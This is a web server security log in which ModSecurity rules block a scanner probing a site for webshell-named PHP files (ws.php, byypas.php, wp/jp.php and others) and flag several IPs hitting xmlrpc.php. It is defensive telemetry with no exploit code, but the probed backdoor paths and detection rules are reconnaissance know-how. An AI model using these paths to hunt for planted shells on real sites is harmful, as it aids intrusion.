[Sat Apr 11 04:18:26.017987 2026] [:error] [pid 33173:tid 33259] [client 4.245.205.135:17041] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoper1.php"] [unique_id "adlbEq8109xRDP2izWiJyQAAAI4"]
[Sat Apr 11 04:18:26.569977 2026] [:error] [pid 33173:tid 33253] [client 4.245.205.135:22322] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws.php"] [unique_id "adlbEq8109xRDP2izWiJygAAAIg"]
[Sat Apr 11 04:18:27.229720 2026] [:error] [pid 33172:tid 33232] [client 4.245.205.135:28068] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws.php"] [unique_id "adlbEzn2G0IJw5EZY9n9dwAAAE4"]
[Sat Apr 11 04:18:28.060525 2026] [:error] [pid 33172:tid 33225] [client 4.245.205.135:2764] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws.php"] [unique_id "adlbFDn2G0IJw5EZY9n9ewAAAEc"]
[Sat Apr 11 04:18:28.702192 2026] [:error] [pid 33173:tid 33264] [client 4.245.205.135:30430] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws.php"] [unique_id "adlbFK8109xRDP2izWiJzQAAAJM"]
[Sat Apr 11 04:18:29.307287 2026] [:error] [pid 33173:tid 33267] [client 4.245.205.135:28446] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "adlbFa8109xRDP2izWiJ0QAAAJY"]
[Sat Apr 11 04:18:30.318456 2026] [:error] [pid 33173:tid 33257] [client 4.245.205.135:14517] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "adlbFq8109xRDP2izWiJ1gAAAIw"]
[Sat Apr 11 04:18:31.100470 2026] [:error] [pid 33173:tid 33261] [client 4.245.205.135:21235] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "adlbF68109xRDP2izWiJ2wAAAJA"]
[Sat Apr 11 04:18:31.779967 2026] [:error] [pid 33288:tid 33294] [client 4.245.205.135:29207] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "adlbF2JmwJFFPEgRHfHP-wAAAMQ"]
[Sat Apr 11 04:18:32.334163 2026] [:error] [pid 33173:tid 33255] [client 4.245.205.135:22725] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-good.php"] [unique_id "adlbGK8109xRDP2izWiJ4AAAAIo"]
[Sat Apr 11 04:18:33.040831 2026] [:error] [pid 33173:tid 33251] [client 4.245.205.135:2792] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-good.php"] [unique_id "adlbGa8109xRDP2izWiJ4gAAAIY"]
[Sat Apr 11 04:18:33.787874 2026] [:error] [pid 33172:tid 33232] [client 4.245.205.135:28491] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-good.php"] [unique_id "adlbGTn2G0IJw5EZY9n9jAAAAE4"]
[Sat Apr 11 04:18:34.380808 2026] [:error] [pid 33288:tid 33300] [client 4.245.205.135:28518] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-good.php"] [unique_id "adlbGmJmwJFFPEgRHfHP_wAAAMo"]
[Sat Apr 11 04:18:34.932722 2026] [:error] [pid 33171:tid 33187] [client 4.245.205.135:22292] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wmore1.php"] [unique_id "adlbGroqTMlo30hcVw8mXwAAAAE"]
[Sat Apr 11 04:18:35.559543 2026] [:error] [pid 33288:tid 33299] [client 4.245.205.135:28424] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wmore1.php"] [unique_id "adlbG2JmwJFFPEgRHfHQAAAAAMk"]
[Sat Apr 11 04:18:36.225680 2026] [:error] [pid 33288:tid 33297] [client 4.245.205.135:25443] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wmore1.php"] [unique_id "adlbHGJmwJFFPEgRHfHQBwAAAMc"]
[Sat Apr 11 04:18:36.809676 2026] [:error] [pid 33288:tid 33295] [client 4.245.205.135:25795] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wmore1.php"] [unique_id "adlbHGJmwJFFPEgRHfHQCwAAAMU"]
[Sat Apr 11 04:18:37.547823 2026] [:error] [pid 33171:tid 33200] [client 4.245.205.135:17862] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new3.php"] [unique_id "adlbHboqTMlo30hcVw8mYgAAAA4"]
[Sat Apr 11 04:18:38.150547 2026] [:error] [pid 33288:tid 33306] [client 4.245.205.135:14464] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new3.php"] [unique_id "adlbHmJmwJFFPEgRHfHQEQAAANA"]
[Sat Apr 11 04:18:38.858616 2026] [:error] [pid 33171:tid 33202] [client 4.245.205.135:2777] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new3.php"] [unique_id "adlbHroqTMlo30hcVw8mZAAAABA"]
[Sat Apr 11 04:18:39.415833 2026] [:error] [pid 33288:tid 33308] [client 4.245.205.135:20013] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new3.php"] [unique_id "adlbH2JmwJFFPEgRHfHQGgAAANI"]
[Sat Apr 11 04:18:40.186089 2026] [:error] [pid 33288:tid 33314] [client 4.245.205.135:21229] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nw.php"] [unique_id "adlbIGJmwJFFPEgRHfHQHgAAANg"]
[Sat Apr 11 04:18:40.842217 2026] [:error] [pid 33288:tid 33298] [client 4.245.205.135:28482] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nw.php"] [unique_id "adlbIGJmwJFFPEgRHfHQIwAAAMg"]
[Sat Apr 11 04:18:41.387402 2026] [:error] [pid 33171:tid 33205] [client 4.245.205.135:44105] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nw.php"] [unique_id "adlbIboqTMlo30hcVw8mZwAAABM"]
[Sat Apr 11 04:18:42.005446 2026] [:error] [pid 33288:tid 33305] [client 4.245.205.135:29187] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nw.php"] [unique_id "adlbImJmwJFFPEgRHfHQKgAAAM8"]
[Sat Apr 11 04:18:42.573551 2026] [:error] [pid 33288:tid 33290] [client 4.245.205.135:2152] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byypas.php"] [unique_id "adlbImJmwJFFPEgRHfHQLgAAAMA"]
[Sat Apr 11 04:18:43.162360 2026] [:error] [pid 33288:tid 33307] [client 4.245.205.135:30434] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byypas.php"] [unique_id "adlbI2JmwJFFPEgRHfHQMgAAANE"]
[Sat Apr 11 04:18:43.906598 2026] [:error] [pid 33288:tid 33295] [client 4.245.205.135:22781] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byypas.php"] [unique_id "adlbI2JmwJFFPEgRHfHQNgAAAMU"]
[Sat Apr 11 04:18:44.561029 2026] [:error] [pid 33288:tid 33297] [client 4.245.205.135:29234] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byypas.php"] [unique_id "adlbJGJmwJFFPEgRHfHQPAAAAMc"]
[Sat Apr 11 04:18:45.254962 2026] [:error] [pid 33171:tid 33209] [client 4.245.205.135:18508] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "adlbJboqTMlo30hcVw8mbQAAABc"]
[Sat Apr 11 04:18:45.961529 2026] [:error] [pid 33288:tid 33291] [client 4.245.205.135:21198] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "adlbJWJmwJFFPEgRHfHQRQAAAME"]
[Sat Apr 11 04:18:46.647118 2026] [:error] [pid 33172:tid 33227] [client 4.245.205.135:31210] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "adlbJjn2G0IJw5EZY9n9owAAAEk"]
[Sat Apr 11 04:18:47.588591 2026] [:error] [pid 33288:tid 33309] [client 4.245.205.135:35212] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "adlbJ2JmwJFFPEgRHfHQTwAAANM"]
[Sat Apr 11 04:18:48.137182 2026] [:error] [pid 33288:tid 33304] [client 4.245.205.135:17872] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a4.php"] [unique_id "adlbKGJmwJFFPEgRHfHQUgAAAM4"]
[Sat Apr 11 04:18:48.716907 2026] [:error] [pid 33171:tid 33189] [client 4.245.205.135:21202] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a4.php"] [unique_id "adlbKLoqTMlo30hcVw8mdgAAAAM"]
[Sat Apr 11 04:18:49.457150 2026] [:error] [pid 33173:tid 33265] [client 4.245.205.135:37816] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a4.php"] [unique_id "adlbKa8109xRDP2izWiJ7wAAAJQ"]
[Sat Apr 11 04:18:50.310214 2026] [:error] [pid 33171:tid 33192] [client 4.245.205.135:35256] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a4.php"] [unique_id "adlbKroqTMlo30hcVw8mfQAAAAY"]
[Sat Apr 11 04:18:50.831337 2026] [:error] [pid 33172:tid 33231] [client 4.245.205.135:31228] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jlex.php"] [unique_id "adlbKjn2G0IJw5EZY9n9pgAAAE0"]
[Sat Apr 11 04:18:51.533550 2026] [:error] [pid 33172:tid 33228] [client 4.245.205.135:18518] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jlex.php"] [unique_id "adlbKzn2G0IJw5EZY9n9pwAAAEo"]
[Sat Apr 11 04:18:52.258262 2026] [:error] [pid 33173:tid 33245] [client 4.245.205.135:2778] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jlex.php"] [unique_id "adlbLK8109xRDP2izWiJ-AAAAIA"]
[Sat Apr 11 04:18:52.862954 2026] [:error] [pid 33288:tid 33313] [client 4.245.205.135:20021] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jlex.php"] [unique_id "adlbLGJmwJFFPEgRHfHQXQAAANc"]
[Sat Apr 11 04:18:53.563895 2026] [:error] [pid 33171:tid 33198] [client 4.245.205.135:31230] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xsas.php"] [unique_id "adlbLboqTMlo30hcVw8mhAAAAAw"]
[Sat Apr 11 04:18:54.141619 2026] [:error] [pid 33288:tid 33308] [client 4.245.205.135:31170] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xsas.php"] [unique_id "adlbLmJmwJFFPEgRHfHQYgAAANI"]
[Sat Apr 11 04:18:54.824412 2026] [:error] [pid 33173:tid 33257] [client 4.245.205.135:18525] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xsas.php"] [unique_id "adlbLq8109xRDP2izWiKAgAAAIw"]
[Sat Apr 11 04:18:55.508625 2026] [:error] [pid 33172:tid 33233] [client 4.245.205.135:37798] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xsas.php"] [unique_id "adlbLzn2G0IJw5EZY9n9twAAAE8"]
[Sat Apr 11 04:18:56.329600 2026] [:error] [pid 33171:tid 33207] [client 4.245.205.135:42241] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp/jp.php"] [unique_id "adlbMLoqTMlo30hcVw8mhwAAABU"]
[Sat Apr 11 04:18:56.938548 2026] [:error] [pid 33173:tid 33264] [client 4.245.205.135:35259] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp/jp.php"] [unique_id "adlbMK8109xRDP2izWiKBgAAAJM"]
[Sat Apr 11 04:18:57.656339 2026] [:error] [pid 33288:tid 33314] [client 4.245.205.135:35248] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp/jp.php"] [unique_id "adlbMWJmwJFFPEgRHfHQawAAANg"]
[Sat Apr 11 04:18:58.437832 2026] [:error] [pid 33173:tid 33266] [client 4.245.205.135:15601] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp/jp.php"] [unique_id "adlbMq8109xRDP2izWiKCQAAAJU"]
[Sat Apr 11 04:18:59.540872 2026] [:error] [pid 33288:tid 33290] [client 4.245.205.135:25818] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8573.php"] [unique_id "adlbM2JmwJFFPEgRHfHQdAAAAMA"]
[Sat Apr 11 04:30:44.301036 2026] [:error] [pid 33173:tid 33258] [client 137.184.64.22:33820] [client 137.184.64.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.64.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adld9K8109xRDP2izWiUWQAAAI0"]
[Sat Apr 11 04:36:02.115419 2026] [:error] [pid 33172:tid 33229] [client 109.172.115.12:42708] [client 109.172.115.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.172.115.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlfMjn2G0IJw5EZY9kJLQAAAEs"]
[Sat Apr 11 04:40:20.474369 2026] [:error] [pid 33173:tid 33246] [client 20.238.240.42:3904] [client 20.238.240.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.238.240.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlgNK8109xRDP2izWidagAAAIE"]
[Sat Apr 11 04:41:56.738414 2026] [:error] [pid 33171:tid 33189] [client 144.202.29.51:54430] [client 144.202.29.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.202.29.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlglLoqTMlo30hcVw80UgAAAAM"]
[Sat Apr 11 04:46:46.504619 2026] [:error] [pid 33173:tid 33266] [client 161.35.47.44:53610] [client 161.35.47.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.35.47.44, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlhtq8109xRDP2izWijoQAAAJU"]
[Sat Apr 11 04:47:09.663758 2026] [:error] [pid 33172:tid 33227] [client 217.154.192.21:40706] [client 217.154.192.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.192.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlhzTn2G0IJw5EZY9kRGwAAAEk"]
